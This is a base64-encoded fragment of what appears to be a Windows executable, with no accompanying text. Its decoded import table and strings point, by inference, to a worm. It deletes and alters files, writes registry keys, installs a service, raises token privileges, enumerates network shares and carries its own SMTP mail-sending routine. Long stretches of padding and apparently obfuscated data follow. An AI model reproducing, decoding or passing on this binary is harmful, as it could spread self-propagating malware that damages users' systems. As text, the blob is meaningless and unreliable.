YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA
nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl
dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291
bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl
bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl
dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD
b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl
QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51
bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA
NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl
ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA
RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp
ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu
Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB
U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B
UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn
ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO
ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu
ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl
dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl
YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl
RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52
aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD
b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl
YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA
VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT
dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t
AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP
TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A
AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAOuHAE/Ly8vrO3V3ZX11d2V37XV
xa5tBaXdbQWl3aw/J7Xd37XVxa6lzW9nrB2FPeV91d3f3YUNrr3lPY2sjeWdpbXftdXFruWl
9azt1d2V9dXdld+11cWuZdUFxYWs7dXdlfXV3ZXftdXFrg3VxawVpeXtpd2V37XVxd/t9a4F
jb2sHYU95X3V3d/dhQ2uNeU1rO3V3ZX11d2V37XVxa4Npb29hayN5Z2ltd+11cWuvQU17awd
hT3lfdXd392FDa7FBfWlrBW9x/2lLaXd37XV3/0trg3V9WXVrBW9x/2lLaXd37XV3/0trj2F
xeUNzawVpd2ljdXV3509rsWlPeWFx82lLeWFPT2FrBWl3aWN1dXfnT2uDe3VBT2lZaWsFaXd
pY3V1d+dPa4Vhb3FpTUNhT2s1QXFxaXftdXFrsWlPeWFlT+sFaXdpY3V1d+dPa6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urn9MLD3VlT2lxa+c5c2FNUzENNxMxDTc
tNU9hZzlzYU1TMQ03B/fhSXNrgzMpQXdte2FPd8VbTWu5KTEpCws34V9va71ze2uxTUV1T3N
jQffHTVtrq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq7FLW+u34Vtha7fNbU9rt8t5Z2u372lDa6urq6urq6urq6u
rq7fDW0Nrt/tDcWu3+0Nxc2u3xWlva7fpTUtrt+N1bWu3z0Nna7fbc01rt/9LZWu37UtLa7f
ta7fLaU1rt/FLZWu38UthZWu372l9a7fxS03rt8tjZ2urjTVnQ0VpT2FTMTltT3VNdWdDUwU
5d2N1RU1TLQFPT2F3Q0chT015dXdTK6kLS2vLKUN7TWuPAXdrjwF3dTdtYWuNGU1DYXFTLQF
PT2F3Q201d0NPdXNNIUNTDSFPR3ltYU1rjTVnQ0VpT2FTMTltT3VNdWdDUwUpLxMFKS8D0wU
pb2vnOXNha/cpcWFrjwF3TSFPR3ltYU1ruTdDYU93YUNrzSFDQ3l3ZU1TLSlte2FTCylDe01
rq6urq6urq7s5c+u7IXNzdXPrjyFf66cFX+uBN2Nhc3lHYU9pb3Nha/FpeXNx8e/hzW/rjyF
DQU93YWNr8Wl5c3Hx7+HNb+urq6urqWvhzWvhzWvlaXFha6lr4c1r4c1rw3V1c2upa+HNa+H
Na8Vhb015Q2FrqWvhzWvhzWvLaUNte2uhzWvPYXF1R2lza8N1dXNNa6urq6urq6u3YUVrp0F
3d1lrt3ltYWu7QXF1QU9roVtteUNha6V1dWNri3VFZ0Fza4U5d1sLK7khK8f3y+uFDc/34TN
9YU93a+uFDc/3/TNhX3fhK6u7dUVr6U9ha9l1QWuzYUNlzWvvYWvnT3lhd2NNa6NpT3N5d2V
rjXVr7XV1c2vpa+dzaU17c+F3f3VZa/lDa5l1QU9ry2lNTUV1T2Nru3V3YVlrjXVxYWvJQWF
NQ3l1d01ri3NhaU1ha8NPWWvpZWl5d2uFYXNtdXFha8N1a/FZa/t1cWFDdUV3a4N7YWvlKU9
jYXdr9Wdr4SNhd2u5d0NPdWNBbUN5dXdr9Xdr6SMNMyuxYWFDeXdla/d1Q3ltYWuJQWFNQ3l
1d3dpeU9ha611d2VPaUNBc2lDeXV3TWuNdU1p679pS2l3YU1ha+V5T3Nrxw0ry3NpWW91WWu
zdXV9c/FZa+9haUFDeWdBc2vleU9za+dPeWF3Y2uhaWVhT2vDdWvNYWFr2XVBa41LeW1ha+V
5T3NNZevHdW1pc2vtdXdtYU9Da79pS2l3YU1ha/NpTU1l681hW1lry3ltQ0FPYU1rq6urjRl
xaXdDYW1rsS1pZ2Fha6cxzSFtQU9ha401S3t1TWuDD2F3Y3F5bU91a70pTUthT019WWurq6u
nD3VxX+vrgzVf6+uNAW9/YW1DX+vrq6uDO2Fr53Vzc3VFeXdla/FpeXNr7Wl3ZcNr72FrzWF
3Q2vDdWvhzV/rgztha+lDQ2lte3Fhd0Nrgztha+d5c2Frq/lNa8N7YWv1T3lleXdpc2vxaXl
za6vleUdha9l1QWvDe2Fr4c1rq/lNa+lr4c1r42l3ZWFPdUFNa8d5T0FNa8N7aUNr4c1rrWl
3a/l3Z2FtQ2v1d2vFOXdZ2/XxIXXPy8vL9dsLN+uNS09haWNrw3tPdUFle2vhcWl5c3frh2F
PWWvrjUthbXlpc2vru0NDS1/19euFRUV367ftdXFrpzVPa/F1T2Fr+XdndU9xaUN5dXdzy3N
haU1ha8d5TXlDa+uDO3lNa/lNa+u5K+HNa9l1QWvFdUFzY2vhzWv5Q3froXd/dVlrs3l9YWu
FeU17a7t1S2FroVtLYW1Da6utO095TUNxaU1rtyFFa9lhaU9rjSl5d0NrxylzYXdDeXdhZc1
r4ylZa6kzc3tpc3N1RXFpTWupC095c2vnNXVzTWXr4ylZa7MpY1lr4ylZa6kNTUFxS0N5dXd
rrSl3Y3NhcWlNa6kzc2vNNUFzTWXjKVlroQt5S3tpd1lrq6urq7spS0tZa+u7KUdha+lr66u
T709X8b+rsb+ri3VNQ3FpTUNhT2urq4U5d31rq7kxaWVhSylDe2uxOTEhMcchT015dXdf68n
3y/G/rTV3Q2F3Q3HDGUthX+vxQXNDeUtpT0N16XNDYU93aUN5R2Fd8b+5r3VBd2NpT1lR660
1d0Nhd0NxwxlLYV/rw2FbQ3X7Q3FzXfG/rTV3Q2F3Q3HDD2l3TWdhT3HhN211Y3l3ZV/ryUF
1Q2FjcctPeXdDaW9zYXG/sb+T+wMxMxfT+yEpIxfT9fshKSMX0+81IxkX4c1xv5PnNTcDF+u
rk/XnNTcDF9P17zUjGRfT9fsDMTMX66urrTV3Q2F3Q3HDGUthX+vhzV3xv7m3aXFhUeHNcb+
tNXdDYXdDccMPaXdNZ2FPceE3bXVjeXdlX+vvaU1hR8Pxv601d0Nhd0Nx+SMf69PhzVfrq6u
rq6urq6urqUFjeXV123HFaUdrqUFjeXV123HxeWN5a6lLS3N5bWlDeXV3dfVtQ2FDcc1DT2F
pcWurq6urq6urq7G/k/lnT2lxYWvNT21RzeMteWNf4c1r+2F5ZXtDUc3jC+vFeWNDe1HN4wv
X8b+T9flnT2lxYVfrgzt5TWvlaXFha/lNa/FZa+d5T01Da8V1T3130+9PV/G/mTVBZc9ha8N
7YWvneU9NQ2vLc2lZYU9367U5LQkriw91ZU9pcWc5c2FNYzlPa6urq41xQ0t365UpBwsNz+u
VKQcLLS0rtzUjDc/rtwsNDQctK7cPIQ0JDc/rtw0tOyEjDc/rtw0tOyEjNwMrtw0LMwElOTc
rtykHK7cpBykLDQctK7cpBykLBQ3P67cpBzMBDc/rtykHDwE3Dyu3KQcFDc/rlSkHCzErqTM
